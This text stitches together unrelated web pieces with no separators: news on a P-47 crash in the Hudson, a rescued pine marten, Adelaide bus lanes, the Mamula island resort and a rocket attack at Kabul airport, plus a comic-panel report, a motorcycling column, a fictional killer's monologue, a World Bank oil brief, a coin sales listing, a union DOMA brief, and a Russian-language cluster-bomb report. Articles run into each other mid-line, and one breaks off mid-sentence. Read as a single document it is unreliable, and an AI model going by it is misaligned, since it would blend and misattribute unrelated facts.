The cause of the crash has not been confirmed, but engine failure has been cited as a possible cause.
The plane was one of three that flew from an airfield in Farmingdale, east of New York City.
They were taking part in shooting a promotional video to mark the 75th anniversary of the American Airpower Museum.
The two other aircraft - a P-40 and a plane taking the photographs - returned safely to the airfield.
Scuba divers recovered the body of a 56-year-old man three hours after the crash. New York police identified the man as William Gordon of Key West, Florida.
Image copyright AP Image caption The wreckage was lifted out of the Hudson the day after the crash
Image copyright Reuters Image caption A P-47 in a UK museum. The plane was one of the main US fighters of World War Two
College student Siqi Li saw the plane crash into the river.
"It made kind of a U-turn, and then there was a stream of smoke coming from it,'' he told New York's Daily News.
"It was tilting down toward the water. I thought they were doing some sort of trick."
In 2009, the pilot of an airliner with 155 passengers and crew made an emergency landing in the Hudson.
All those on board were later rescued in what later became known as the "Miracle on the Hudson".Image copyright SSPCA Image caption Marvel is being hand-reared until his eyes open
An orphaned pine marten is being cared for by the Scottish SPCA after being found at the side of a road in Perth.
The rare mammal, who has been named Marvel by staff at the animal welfare charity, is believed to be about a month old.
Marvel is being rehabilitated at the Scottish SPCA's national wildlife rescue centre in Fishcross, Clackmannanshire.
Pine martens are protected under the Wildlife and Countryside Act 1981.
Rescue centre manager Colin Seddon said Marvel was currently being hand-reared and fed milk from a bottle.
He said: "We will hopefully be able to wean him onto solid food in the next couple of weeks when his eyes open.
"Orphaned pine martens are quite often reared as a group but he's the only one in our care at the moment.
"Pine martens are very rare and protected by law.
"They are currently being introduced back into parts of the UK where they were once persecuted to extinction.
"Once Marvel is fully independent and behaving naturally he will be released at a specially chosen release site with the land owner's permission."RAA critical of Adelaide bus lanes
Updated
Motoring organisation the RAA said designated bus lanes on Anzac Highway in Adelaide had slowed traffic flow.
It also said commuters were taking longer to drive between Adelaide's southern suburbs and the city on South Road.
The average speed on parts of the drive were put at 17 kilometres per hour in the morning peak and 25 kilometres per hour in the afternoons.
Mark Borlace of the RAA said it wanted the Government to review using designated bus lanes.
"They should re-think what they've done here because people still aren't using public transport, for all the other reasons, frequency, cost, you know all that sort of stuff, or [the Government needs to be] having intelligent systems that at least tell people how far away the real bus is," he said.
Transport Services Minister Chloe Fox said she had received positive feedback from passengers about the use of bus lanes.
She attributed slower driving along South Road to the rail line upgrading work and the duplication project for the Southern Expressway.
"The Noarlunga [rail] line is shut, there's extraordinary work going on duplicating the highway. What that means is a huge amount of people who wouldn't normally use it are using South Road, arriving at the Gallipoli Underpass intersection and turning right (into Anzac Highway toward the city)," she said.
Ms Fox said travel time for bus passengers had improved significantly, but patronage had only increased on some routes.
"I need to be honest here and talk about why that might be. That also might be, beside the time which has been shaved off the bus journey, obviously there are certain lines there, the 265, the 263, they're customers who have been directly affected by the Noarlunga closure as well, so there are different reasons there," she said.
The RAA said it wanted the SA Government to release its South Road planning study on the overall strategy for upgrades of Adelaide's main north-south transport corridor.
In response, the Government released a 29-page document hours later.
In part, the planning document said: South Road is a four‐lane, two‐way arterial road with 28 sets of traffic signals over a length of approximately 23 kilometres. In its current configuration, South Road does not adequately provide for the volume of traffic, nor does it provide for the size of vehicles required to use this route, both now and into the future. Average travel speeds on almost all sections of South Road are well below the posted speed limit (60km/h) throughout the day. Travel speed variability, which is a measure of how much speeds change from one trip to the next, is also relatively high in comparison to benchmarked national performance indicators. Drivers travelling on South Road during business hours are experiencing above average delays and in some cases very long delays. Traffic congestion and unreliable travel times for traffic using South Road impacts on business costs, productivity and output. Traffic congestion is not limited to South Road, but is also experienced on parallel routes such as Marion and Goodwood Roads. Analysis of traffic delays, both to north‐south and east‐west traffic, along with road crash analysis confirmed the section between Torrens Road and the River Torrens should be the next priority for upgrading. Not surprisingly, this was consistent with the initial feedback received from the public following the announcement of the study and through the early engagement with businesses and communities along South Road. With a focus on the 4.5 kilometre (approximate) section between Regency Road and the River Torrens, the planning study then proceeded to the concept planning phase. The remainder of the original 9 kilometre study section of South Road, between the River Torrens and Anzac Highway will progress into the more detailed concept planning phase at a later date as future funding becomes available.
Topics: activism-and-lobbying, states-and-territories, government-and-politics, adelaide-5000, sa, goodwood-5034, ashford-5035, noarlunga-centre-5168
First postedThis evening at the Long Beach Comic Con’s Captain Marvel panel, new series writers Tara Butters and Michele Fazekas (showrunners of Agent Carter), and new series artist Kris Anka (Uncanny X-Men) unveiled a page from the Captain Marvel reboot, set to release January 2016. This splash page is the first image unveiled from the new series since Kris Anka’s concept design was shown, shortly following Kelly Sue Deconnick‘s departure from the series. Ready to see it?
Okay, here it goes!
I’ll admit that I was skeptical at first, but after seeing the unveiling in person, I now feel totally at ease. Frankly, I’m sold.
Anka informed the audience that this artwork is fresh, having only been completed yesterday, and that Carol’s face is not final.
What do you think about this Captain M?
Expect most of the panel to be posted here shortly. Until then, follow on Twitter @gameinmyvein and “like”on Facebook.You motorcyclists are a funny old lot and from what I can tell you’re a really superstitious group of people. You won’t ride green bikes, as they are unlucky (try telling that to Kawasaki), nor I’m told should you ride one that belonged to someone who has recently died, as you’ll experience some really bad karma.
Some of you will only ever get on a bike from one particular side, as it’s ominous to get on it from the other. There are even riders who can’t set off anywhere unless they have a small bell fixed somewhere on their bike to ward off evil road spirits.
I’m also always astonished at what some people will do before riding. Patting the bike, talking to the bike or leaving passenger foot pegs up or down (depending on whether you think your guardian angel is riding with you, or not). And what they do at the end of a ride again involves patting and talking to the bike.
Then, there’s the guy I’ve heard of who won’t ride his bike, or go anywhere near it, for 48 hours prior to a long road trip. Another steadfastly refuses to wear any color of socks except blue as to deviate from that could possibly cause him to crash and die in an immense fireball within minutes of riding down the road.
I sort of get the green bike thing. There have been few bikes that I have ever really liked in that color, but the whole unlucky thing really? This urban myth I’ve learned has something to do with WWII era Army Harley-Davidsons that were painted drab green. A combination of being slow and unreliable meant if you rode one, you were seen as sitting ducks for the enemy. Hence green being an unlucky color. I’m not sure if any of that’s true but that’s what I have been told.
There’s a woman in the Midwest somewhere who carries a large strand of barbed wire strapped to her bike’s handlebars to remind her to ride safe. She openly admitted on a motorcycle riding forum that, a few years ago, after a heavy drinking session, she got on her bike and rode off into the night. Of course she left without a helmet.
Unfortunately she came off the road a few miles later and was thrown off her bike after her forehead got caught on a strand of barbed wire fencing that she and the bike rode through. After 78 stitches across her brow, she says she gave up the booze, but keeps a piece of the barbed wire on her bike to remind her of her stupidity. I’d have thought just looking in the mirror every morning at that big scar would work just as well.
Or, there’s a friend of mine who won’t wear a new crash helmet until he’s dropped it at least once on the ground. He can’t explain precisely why, except that it makes him feel safer having a helmet with a few scratches on it. He’s also the same guy that has a system that involves putting his boots on. I can’t remember if it’s left or right first, but he follows this regime religiously every time he rides.
Another guy also informed me recently that he couldn’t ride any bike unless there is a skull of some description on it. I was hesitant to tell him that he actually had a skull of his own, but I chose the safer path and nodded wisely at him and said nothing.
Back to those riding bells. They are definitely a cruiser peculiarity and not a sport bike thing and I’m sure some of you reading this will have absolutely no idea what I am talking about.
Under some mysterious, ancient law that has been lost in the passage of time, you are strictly forbidden from buying a riding bell for yourself. It has to be bought and presented to you by someone else. Otherwise it will not work.
My very sweet and very considerate wife bought me a bell to put on my bike. And in the interests of domestic harmony I attached the thing. Now, I’m used to the rattles and squeaks of my old bike, but with an extra bell fitted to it, I sounded like Santa Claus in his sleigh coming down the road. In the end I had no option but to take a pair of metal cutters to it and chop the darned clapper out of the thing. I’m not sure if this now means the road gremlins will definitely be out to get me, but for the sake of my own sanity I’m prepared to take the risk.
I do agree with the principle of stopping to help a fellow biker who’s pulled off at the side of the road. Not because I believe that if I don’t then something hideous will happen to my bike and me in the future, but because I believe it’s the right thing to do. In both cases recently my offers of help were politely turned down. One rider simply needed to make a ‘phone call, while the other, as he delicately put it, needed to take an urgent crap. But at least I tried.
However, you know what I’m really superstitious about? A soccer mom, in a massive SUV. She’s usually either texting, or talking on a cell phone, while her kids bounce around in the back fighting or playing video games. She’s so oblivious to everything on the road that she never, ever sees me on my motorcycle. That’s what I call my bad luck omen.(CNN) — Since the end of World War II, many of Europe's former concentration camps have stood as solemn memorials to those who perished within. Now, one could be transformed into a luxury beach resort -- a decision that's sparked international outrage.
With a diameter of just 200 meters, the uninhabited rocky Adriatic island of Mamula is barely visible on the map.
Situated on the bay of Kotor, on the border between Montenegro and Croatia, it's dominated by a 19th-century fortress.
A visualization simulating an aerial view of the luxury resort that will be built on Mamula Island mamulaisland.com
During World War II it was used as a concentration camp by occupying Italian troops serving under fascist dictator Benito Mussolini.
It's claimed 2,300 people were imprisoned there, of whom 130 were killed or starved to death.
Its reputation inspired a 1950s movie called "Mamula Camp."
Those grim times are a stark contrast to the future now being proposed for the island.
The Montenegrin government has green-lit a project to transform Mamula into a resort, complete with swimming pools, yacht marina, spa, restaurants and dance floor.
It granted a 49-year lease to Swiss-Egyptian developer Orascom at the nominal price of $1.64 per square meter.
"We were facing two options: to leave the site to fall into ruin or find investors who would be willing to restore it and make it accessible to visitors," Olivera Brajovic, head of Montenegro's national directorate for tourism development, told AFP.
The company says it'll invest $16.3 million in the project.
Dragana Becirovic, director of Magna, the PR agency representing Orascom for this project, said Mamula's renovation will respect the landscape, the existing architecture, and would "completely preserve the historical value of the Island."
Swimming pools and palm trees: A visualization of the luxury resort that will be built on Mamula Island. Source: mamulaisland.com mamulaisland.com
Among those angered by the plans are family members of the camp's wartime prisoners.
"To build a luxury hotel dedicated to entertainment at this place where so many people perished and suffered is a blatant example of lack of seriousness towards history," Olivera Doklestic told AFP.
Her grandfather, father and uncle were imprisoned at Mamula. "No concentration camp in the world has been transformed into a hotel," she said.
The local WWII veterans association and the city council backed the project, Becirovic said. According to news website Balkan Insight, the Montenegrin government defended its decision, saying the project will boost local economy.
It said Mamula's history would be respected, since the plan includes a "memorial room or a museum."
Visualization of the yacht marina. Source: mamulaisland.com mamulaisland.com
Becirovic confirmed that the renovation of the island will include a museum, which will host cultural events, political debates and arts event.
She added that the island and the museum will be open to tourists and locals year round, even when the resort is shuttered.
The project, she said, will boost tourism, renovate the island and preserve its cultural heritage and historical character. The controversy over the island fortress began in December 2013 when the government advertised it as an investment opportunity fit "to satisfy the needs and demands of a wealthy clientele."
It has previously drawn criticism from former United Nations Secretary General Boutros Boutros-Ghali, although Becirovic says he later wrote to express support for a hotel complex that included a museum.3 years ago
Totally just watched some Jessica Jones and now I just wanna write bad guy dialogue when I should be sleeping.
A lot of my artist friends post their doodles and drawings whenever they're practicing, soooo I figured I could probably do the same?
... I dunno, maybe that's lame. It's probably lame.
...Whatever.
Here's what Felix has to say about himself tonight:
I talk too much.
I don't usually discuss my weaknesses (mainly because I don't have many), but that's definitely one of them.
What, you didn't think I knew? Please. Smokers know cigarettes kill you, but you still see 'em huddled together out back on their lunch breaks. You wanna know why? Fifty percent crippling addiction to nicotine and the rest because it just feels good.
See, as you're aware, I kill people. It's what I do. I do it really well.
Now some people say that makes me a bad person, and to those people I say *BUZZER NOISE* WRONG! People have been killing people for centuries! We do it in the name of war, religion, because fucking STEVE was cocky enough to try and bang my wife -- this is nothing new.
...
You know what it is?
...
It's what makes us human.
...
Animals don't kill in the name of anything, they just fucking kill shit 'cause they're hungry or territorial or whatever. People are on another level. You ever stop to think about that? Like, what is it about people that makes us so different? We've got all these emotions, and thoughts, and opinions on things. My partner hates it -- runs from it, really, because those thoughts get in the way.
They make things complicated.
He's right... but he's also a little out of touch with his humanity. Do you see what I'm getting at here?
Okay. Let me step it back -- Why do I talk?
I talk because it's my way of expressing what makes me me. Because it feels good. The fundamental law of nature is that the strong survive... and the weak don't. The same thing applies to us! If killing you is going to put money in my pocket, put bread on my table, then I'm gonna kill you. Weak feeding the strong. Circle of life. Hakuna matata.
Here's the important part: If I feel good about killing you... if being better than you gives me a rush... does that make me a bad person?
No...
That makes me human.
...
Get it?
...
Good.
...
Then no hard feelings.Welcome to this very special edition of ImaNewbie does Britannia, commemorating a web site I created over eighteen
years ago during the very early days of Ultima Online. It contains all of the toons plus additional goodies like character
bios of all the major characters, a selection of toons from my, earlier Diablo Cartoon Pages and more!...Enjoy!
© Copyright 1998, 1999, 2000, 2001, 2002, 2016, Mike Hanley a.k.a. Tryon - As far as you using any of the stuff in this collection in any way, shape, or form, without my express permission in writing, let me just say this: "DON'T!"
The graphics for the ImaNewbie does Britannia comics are created using modified screenshots from the groundbreaking online game, Ultima Online. Ultima Online is a registered trademark of Electronic Arts Inc.By The World Bank
Judging by the futures market, where the price of oil for delivery in August 2015 is US$56 per barrel, there is little optimism about a recovery in oil prices. With cheap oil looking like it is here to stay, the latest Quarterly Economic Bulletin offers a breakdown by country of the potential regional consequences. Here are the highlights:
Gulf Cooperation Council (Loss) oil and gas revenues in 2013 accounted for over half of the Gulf economies’ GDP and 75% of total exports earnings. If prices stay low for a sustained period it is estimated that the region’s governments will face over a US$215 billion loss in oil revenues, more than 14% of their combined GDP. Gulf countries had on average been earning more than they spent, but the combination of rising government spending and falling oil prices could reverse that. The combined fiscal surplus of about 10% of GDP in 2013 could turn into a deficit of 5% of GDP. While they have significant reserves to cover any shortfalls, there are signs that regional governments are re-thinking their spending. Saudi Arabia – with reserves of US$700 billion – is preparing to increase energy and fuel prices. Bahrain, the most severely affected, is contemplating a request for budget support from its Gulf allies. Oman has released a 2015 budget that includes no spending cuts or additional revenues, but may resort to both in the year ahead. The UAE has begun searching for additional sources of revenue, including a tax on remittances – if this policy is adopted throughout the Gulf, it could impact the hiring of expatriates and the flow of remittances. Total remittances from GCC countries to the rest of the Middle East and North Africa region amounted to US$21 billion in 2013, with Saudi Arabia accounting for half that figure.
Egypt (Gain) Oil consumption in Egypt has been rising by an average of 3% per year, outstripping what the country can produce. Cheaper oil will allow Egypt to buy more of it from a greater variety of sources to meet its rising demand. Look for fewer blackouts this summer, which would be a boost to political and social stability. If oil stays at the current price of around US$50 per barrel, Egypt will be able to save on the EGP 100.4 billion budgeted for energy subsidies (based on an expected price of US$105 per barrel.) Cheap oil is also expected to lower inflation and poverty rates – the one downside is potentially fewer tourists from the Gulf, and fewer expatriates sending money home. The impact of the latter will depend on how long lower oil prices stick around.
Iran (Gain/Loss) politics will be as important as the price of oil for Iran. If a deal is reached in the nuclear talks with the P5+1 (the United Nations Security Council and Germany) and oil sanctions are lifted, oil exports are expected to rebound to pre- sanctions levels by 2017. As oil makes up about 80 %of total export earnings and 50 to 60% of government revenues, the economy could grow substantially under this scenario. With no deal, cheap oil could mean a 60% drop in fiscal revenues, down to $23.7 billion in 2015 from its peak of $120 billion in 2011/12. Under this scenario, a loss of about 20% of GDP would be expected, bringing GDP growth down to zero (from the previous year’s 1.5%), and the economy would continue to shrink. This will put tremendous pressure on inflation, unemployment, the fiscal deficit and the currency.
Iraq (Loss) oil exports have increased, despite the current turmoil, reaching an average of 2.9 million barrels per day in December 2014, the highest level since 1980. Oil revenues, however, fell from May to December, 2014 – the value of monthly exports dropped from $8 billion to $5.4 billion. This comes at a time when spending is higher than usual as the government battles to regain ground from ISIS. Lower oil prices will further squeeze government finances, with GDP growth expected to fall to 1.5% in 2015 – remarkably low for a country that should still be in reconstruction-driven growth. The draft 2015 budget – which was based on an anticipated price of US$70 per barrel – is being revised to identify savings through a freeze on public hiring and rooting out abuses (such as the infamous 50,000 ‘ghost soldiers.’) The government is also seeking to delay its final reparation payments to Kuwait, which would defer nearly $5 billion. Even with these savings, maintaining government spending in the face of falling oil revenues will pose a significant challenge. The situation is further complicated by ISIS cutting off the main northern supply routes, raising the price on all imports, including food. This will make the country’s universal food ration system, which is the sole source of nutrition for many Iraqis, more expensive to maintain.
Jordan (Gain) the large drop in oil prices is a positive shock, promoting growth by lowering the cost of production. The government will be able to save the US$300 million budgeted in 2015 to compensate households for the lifting of fuel subsidies (the system of cash transfers was designed to stop automatically once oil fell below US$100 per barrel.) Both citizens and refugees will benefit from lower prices, as inflation dropped to its second lowest level since December 2009. Over the medium term, though, if cheap oil persists Jordan could see fewer remittances from its expatriate workers in the Gulf (over 60% of remittances to Jordan originate from the Gulf.) With lower revenues, Gulf countries could also be less generous with grants. Jordan relies heavily on these grants, and they were expected to form 2.7% of GDP in 2015.
Lebanon (Gain) one significant way in which cheap oil will save the government money is by lowering the cost of supporting the national electric utility, Electricité du Liban (EdL). With tariffs unchanged since 1996 – when oil was $23 per barrel – EdL only covers a fraction of its costs. The government picks up the difference, with transfers to EdL amounting to 4.7% of Gross Domestic Product (GDP) since 2011. Lower oil prices will lower the cost of generating electricity and shrink EdL’s shortfall. This will in turn lower the transfers to EdL, albeit with a 6-9 month lag given the structure of outstanding contracts with fuel oil and gasoil providers. At an average of 8.3% of GDP, imported oil is also a significant component of Lebanon’s trade deficit, which cheaper oil will help to improve. The benefits will be counter balanced by the fact that, like other countries in the region, cheaper oil could affect the amount of money sent home by Lebanese expatriates in the Gulf. Yet as energy imports are greater than the total value of all remittances, a cheaper price per barrel is expected to improve the country’s balance of payments.
Libya (Loss) there will be a high price to pay in lost oil revenues if rival political factions do not reach an agreement. Oil production is currently at one-fifth of its pre-crisis 1.6 million barrels per day. Libya has accumulated substantial financial reserves but the combination of low oil prices and low output has forced the government to draw on it. Reserves reached $100 billion in August 2014, falling by 20% since the start of the year, and could be depleted in four years if the current situation persists. One quarter of the population is on the public payroll, and public sector wages have been increased by 250% since the 2011 revolution. With no increase in oil production on the horizon, the government will struggle to meet its obligations. The Tripoli-based rival parliament recently announced that it was considering lifting fuel subsidies which stand at 20% of GDP – a move that would help close some of the widening gap between public spending and revenues.
Tunisia (Gain) the newly approved budget was based on an anticipated oil price of $95 per barrel. Cheaper oil will mean the government will have to spend far less on energy subsidies. Lower oil prices will also lower the cost of producing and transporting food. A 15% drop in energy prices coupled with a 5% drop in the price of food could increase real incomes of the poor by 3 percent and of the bottom 40 percent of the population by 2.5 percent.
Yemen (Loss) oil dominates the government budget. Lower prices combined with ongoing political instability (including frequent sabotage of oil pipelines) halved oil revenues. Receipts from May to September, 2014 totaled US$1.4 billion, compared with US$2.4 billion for the same period in 2013. Yemen also relies on remittances from expatriate workers in the Gulf – the source of 90% of all remittances – which may also be affected. Lower oil prices are expected to reduce prices of imported goods, though, and boost household consumption, especially for food items, as 55% of food products are imported. In addition, inflation would likely drop, as food constitutes about 44% of the Yemeni consumer’s spending. Yet to protect its currency and compensate for the drop in oil revenues, Yemen has been drawing on its foreign reserves. The country currently has enough to cover 4.6 months of imports, down from 5.1 months in September. This downward trend is likely to continue in the face of cheap oil and continued instability – and the decision by Saudi Arabia to suspend most of its aid. Yemen will need ongoing assistance from its development partners if it is to avoid a balance of payments crisis in the coming years in which it is unable to afford critical imports.
Read more from The World Bank’s latest issue of the MENA Quarterly Economic Brief
Courtesy of The World Bank, © 2015 The World Bank GroupLowhim’s Saga Nelson Lowhim Blocked Unblock Follow Following Nov 16, 2017 The literary Iceland
We step off the plane, all bleary-eyed & no sleep. The airport a cornucopia of upper middle class art & food & oh so cute things to buy. It’s the mall that I likehate about all airports. At least a bookstore. I buy Egils Saga. Right up my alley, this one. Loud, boorish with a poet’s heart.
We set off in car. Dark misty day, the lava fields feel martian. Eyelids propped by coffee, I now keep wheel steady on road. Then we see the vents puff puff puffing into the air. A cackling steam vent into which a witch was thrown Off we step to see the the place where a cackling witch was thrown down, ending her reign of terror. Of course, I cannot help but think that an innocent woman was possibly blamed for bad luck and thrown in here as well. Apes, everywhere. And in the Icelandic sagas—like all sagas—one can see the apes for miles.
Off we go to see an island. Off we go to see Iceland
Then we come to a beach. Smeared dark skies. Black rock. The ocean breaking itself in white curves the only contrast here.
& back on the road. Lines & headlights drip by. Waterfalls chill. Rain never ends. Black descends. Sleep calls me from beyond the wheel. Out for exercise. I awake. Drive again.Shooting at Lexington Herald-Leader shattered windows and bogus bomb alert in London caused staff to be evacuated – as Trump revives attacks on media
Kentucky has become the latest state to experience the chill surrounding journalism in the US after a prominent local newspaper came under fire – literally – and a printing factory was disrupted by a bogus bomb threat.
Police have confirmed that they are treating as a criminal mischief a shooting at the offices of the Lexington Herald-Leader in Kentucky. Nobody was hurt in the attack but a window was shattered, and there were signs of further damage on other floors of the paper’s offices thought to be caused by small-caliber bullets.
Montana assault breeds 'frightening' talk of violence against journalists Read more
Seventy-five miles to the south of Lexington, a printing works in London, Kentucky, was the subject of a hoax bomb alert after a letter was received at the premises saying explosives had been planted and demanding $25,000. The warning was later deemed to be fake.
The spate of threats to news industries in Kentucky adds to a growing litany of attacks and physical assaults on journalists across the US. Last week, a Guardian reporter was body-slammed to the ground in Montana by Greg Gianforte, the Republican candidate who went on to win the state’s only House seat, while several other reporters in recent weeks have been arrested or assailed while going about their jobs.
Over the Memorial Day weekend, Donald Trump kept up his diatribe against the media following his return to the White House from a foreign tour. He revived his by now frequent jibe on his Twitter feed referring to news outlets as “fake news” and “the enemy”.
Donald J. Trump (@realDonaldTrump)....it is very possible that those sources don't exist but are made up by fake news writers. #FakeNews is the enemy!
Donald J. Trump (@realDonaldTrump) The Fake News Media works hard at disparaging & demeaning my use of social media because they don't want America to hear the real story!
Media observers have warned that Trump’s constant disparagement of journalists is contributing to an increasingly hostile climate in the US in which reporters are facing increasing hurdles to performing their public function. A similar |
is that no matter what your challenges are, you can overcome them and do something good," Rossman said. "This shows you the powers of superheroes. People think that's silly, but they have true power."
Last week another image arrived. That one, by Manny Mederos, showed Hawkeye and Blue Ear together, a mighty team. It's a creation just for Anthony, not the big screen, but that hasn't mattered.
When Anthony starts to waver on wearing his blue ear, which is uncomfortable because it must be strapped around his head, Mom reminds him of his alter-ego.
"I tell him he has to hear people calling for help," Christina said. "He gets the whole connection. He's loving it."
(Annmarie Timmins can be reached at 369-3323 or atimmins@cmonitor.com or on Twitter @annmarietimmins.)Defense Secretary James Mattis was the target of a failed rocket attack near a key Afghanistan airport Wednesday, the Taliban said, though the attack occurred after he had left the airport. Hours after Mattis landed, as many as 40 rockets were fired at Kabul's Hamid Karzai International Airport from an unknown location and landed in an open area, according to Najib Danish, spokesman for the Afghan Interior Ministry. US military officials added that a barrage of up to 40 rounds of munitions hit the airport, including 29 rocket-propelled grenades.
According to CNN, Mattis and NATO Secretary General Jens Stoltenberg had already left the airport at the time of the incident, Danish said. No one was injured.
NATO Secretary General @jensstoltenberg together with US Secretary of Defense James Mattis is at RSHQ today visiting AFG leadership & troops pic.twitter.com/Saf5r7dIa2 — Resolute Support (@ResoluteSupport) September 27, 2017
No U.S. personnel were injured, but a spokesperson for the Afghan Interior Ministry said five Afghan civilians were wounded in the attack. According to media reports, Kabul airport chief Yaqub Rassouli said airplane hangars and some helicopters were also damaged.
The Taliban, which claimed responsibility for the attack, said that Mattis was the target. ISIS has now also claimed the attack. A Taliban spokesman tweeted that the attack was aimed at the secretary's plane.
Afghan President Ashraf Ghani said at a press conference that his country's special forces are "dealing with" the incident. Mattis, standing with Ghani, called the attack a "criminal act by terrorists."
"It’s designed to go after generally innocent people to make some sort of statement," the U.S. defense chief said. "This is a classic definition of what the Taliban are up to right now. It defines their approach to how they see their role here and if in fact this is what they have done, they will find the Afghan security forces continuing on the offensive against them in every district of the country right now. So it is what it is, but it’s also the reason why we band together, and we don’t question what we’re doing here.”
This was Mattis's first trip to Afghanistan since President Donald Trump announced a new South Asia strategy that will send an additional 3,000 U.S. troops to the country. There are approximately 11,000 U.S. forces there now advising and assisting the Afghan military's fight against the Taliban, as well as adding additional firepower to the counterterrorism mission against ISIS and Al Qaeda.The 2014 Horse Privy Silver Britannia is available in Brilliant Unciruclated condition. Each coin has been minted with.999 pure silver at the Royal British Mint and weighs 1 troy ounce. These coins feature the Royal Mints first ever horse privy mark which first appeared a year earlier on the Snake Privy Silver Britannia. Aside from the coin’s precious metal content, it also bears a 2 face value in the UK.
Coin Highlights:
Arrives in a plastic flip for individual coins and tubes of 20.
Contains 1 oz of.999 pure silver.
Minted by the Royal Mint in Great Britain.
Offered in Brilliant Uncirculated condition.
Features the famous Britannia design by Phillip Nathan.
Features a lunar series horse privy mark design.
Has a 2 face value in the UK.
Featuring the same design as the 2014 British Silver Britannia coin, the obverse of each horse privy coin bears Ian Rank-Broadley’s infamous portrait of the Queen. In this image, Queen Elizabeth II is shown wearing a diamond-studded tiara with her name, the phrase “REG FID DEF” and the face value of the coin surrounding her.
The reverse side of the coin features the artwork of Phillip Nathan, who has depicted a scene centered around Lady Britannia. In his image, Britannia is shown standing at the water’s edge, grasping a trident in one hand and a shield and olive branch in the other. Acting as a border to this iconic imagery are all of the coin’s vital information including the words “Britannia,” “2014,” 1 oz” and “999 Fine Silver.”
What makes these coins truly unique are their horse privy marks, which are stamped unto the rim of the coin several times to celebrate 2014’s status in the Lunar Calendar as the Year of the Horse. First featured one year earlier on the 2013 Snake Privy Silver Britannia, the privy marked Britannia coin has quickly become one of the most popular offerings from the mint.
If you have any questions with regards to the 2014 Horse Privy Silver Britannia coin or any of our other products, don’t hesitate to give us a call at 800-276-6508. Additional support is available via live chat or email. Be sure to also view other Silver Britannia Coins like the 2014 British Silver Britannia and the 2013 Snake Privy British Silver Britannia.The AFL-CIO today filed a “friend of the court" brief asking the U.S. Court of Appeals for the Ninth Circuit to uphold a lower court’s ruling that the so-called Defense of Marriage Act is unconstitutional. The 1996 law denies federal benefits to same-sex couples.
In the brief, filed along with Change to Win (CTW) and the National Education Association (NEA), the three union groups say:
The Defense of Marriage Act (DOMA), by intention and design, ensures that workers with same-sex spouses earn less money, are taxed more on their wages and benefits, and have available to them fewer valuable benefits and less economic security than their counterparts with different-sex spouses.
In February, U.S. District Judge Jeffrey White ruled DOMA unconstitutional in a case filed by Karen Golinski, a federal attorney who was seeking family insurance coverage for her wife. But House and Senate Republicans and other groups filed an appeal.
The three labor organizations outline four key ways DOMA limits the rights of workers married to persons of the same sex:
First, DOMA prevents or significantly restricts access to spousal healthcare benefits.
Second, DOMA denies to same-sex couples benefits provided to other married couples when a worker suffers a workplace injury, or otherwise becomes ill or infirm.
Third, DOMA impinges on the ability of workers to plan for retirement by mandating a complete denial of Social Security benefits to same-sex spouses of covered workers, and precludes same-sex spouses from receiving the benefits of tax provisions intended to incentivize savings in private retirement accounts.
Fourth, DOMA unfairly circumscribes immigration and naturalization laws for married same-sex couples seeking to work and remain lawfully in the United States.
Click here for the full brief. Also today, more than 130 House Democrats filed a similar brief with the Court of Appeals. The case is expected to be heard in September.
The AFL-CIO has long supported equal rights for lesbian, gay, bisexual and transsexual (LGBT) people. In a 2005 statement on a proposed amendment to the U.S. Constitution that would have banned same sex marriage and denied other rights to LGBT people, the AFL-CIO Executive Council said:
The AFL-CIO recognizes that families come in all shapes and sizes. As our families change, our union contracts also change. For more than a generation, unions have negotiated domestic partner benefits for the workers they represent, which provide crucial access to health care, family and medical leave and other benefits for our heterosexual families and seniors as well as lesbian, gay, bisexual and transgender families.
In its 214-year history, the U.S. Constitution has been amended only 18 times to grant basic civil rights...But we never amended the Constitution to discriminate against any group of people by denying them rights.This post is also available in: English
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В ноябре 2015 года наша команда писала о применении ВКС РФ кассетных зажигательных бомб РБК-500 ЗАБ-2,5СМ. Тогда мы обнаружили субэлементы таких бомб на фотографии в группе в фейсбуке города Маарет-эн-Нууман, контролируемого сирийской оппозицией, а также видео и фото их применения по пекарне и заводу по переработке оливок в районе населенного пункта Бнин.
В декабре 2015 года представитель Минобороны России Игорь Конашенков отверг обвинения в применении кассетных бомб в Сирии и заявил, что таких боеприпасов на авиабазе Хмеймим вообще нет.
18 июня телеканал RT (бывш. Russia Today) опубликовал видео визита министра обороны России Сергея Шойгу на авиабазу Хмеймим (исходная версия видео доступна по ссылке). Блогеры немедленно заметили, что на видео круппным планом показаны кассетные зажигательные бомбы РБК-500 ЗАБ-2,5СМ:
#PT During MOD visit, a Su-34 was carrying 5 RBK-500 ZAB 2.5SM incendiary cluster bombs. https://t.co/NzmjPFqR52 pic.twitter.com/ejy2V6YlNh — Green lemon (@green_lemonnn) June 18, 2016
После распространения этой информации телеканал RT отредактировал видео на YouTube, вырезав из него кадры с зажигательными кассетными бомбами:
Однако в превью YouTube до сих пор можно увидеть кадры с кассетными бомбами, если навести курсор на таймлайн видео RT:
В заключение добавим, что, хотя Россия не подписывала конвенцию о запрете применения кассетных боеприпасов, она является участником «Конвенции о запрещении или ограничении применения конкретных видов обычного оружия, которые могут считаться наносящими чрезмерные повреждения или имеющими неизбирательное действие» (полный текст Конвенции доступен по ссылке). В частности, Статья 2 Протокола III Конвенции запрещает применение любых зажигательных боеприпасов по гражданским объектам и авиационных зажигательных боеприпасов по военным объектам, находящимся в жилых районах.
Однако именно такое применение зажигательных бомб РБК-500 ЗАБ-2,5СМ мы неоднократно наблюдали на видео, снятых сирийскими активистами и СМИ. Таким образом, действия телеканала РТ фактически являются сокрытием военных преступлений, совершаемых ВКС РФ в Сирии.
Апдейт: после публикации этого поста кадры с кассетными зажигательными бомбами вновь появились в видео РТSteve Cavendish already posted about Sheriff Hall's bizarre "Get out of Jail Free" campaign materials. (When I got it in the mail, I briefly thought it was a genius mailer put out by Hall's opponent, suggesting Hall lets his friends out of jail. But no...) And I agree that Parker Bros. may indeed send the Sheriff a mean letter, but does that really mean Hall's campaign has done something illegal?
The tricky thing about copyright cases is that they pretty much have to be litigated in order to know if infringement has happened or not. Sure, if you publish The Sun Also Rises under your name, that's a no-brainer, but I'm talking about copyright infringement as it happens in the real world. Hall's campaign, say what they want about altering the look of the card, is directly ripping off the "Get out of Jail Free" card from Monopoly. The joke doesn't work if you don't know what that yellow card means. So, clearly illegal copyright infringement, right?
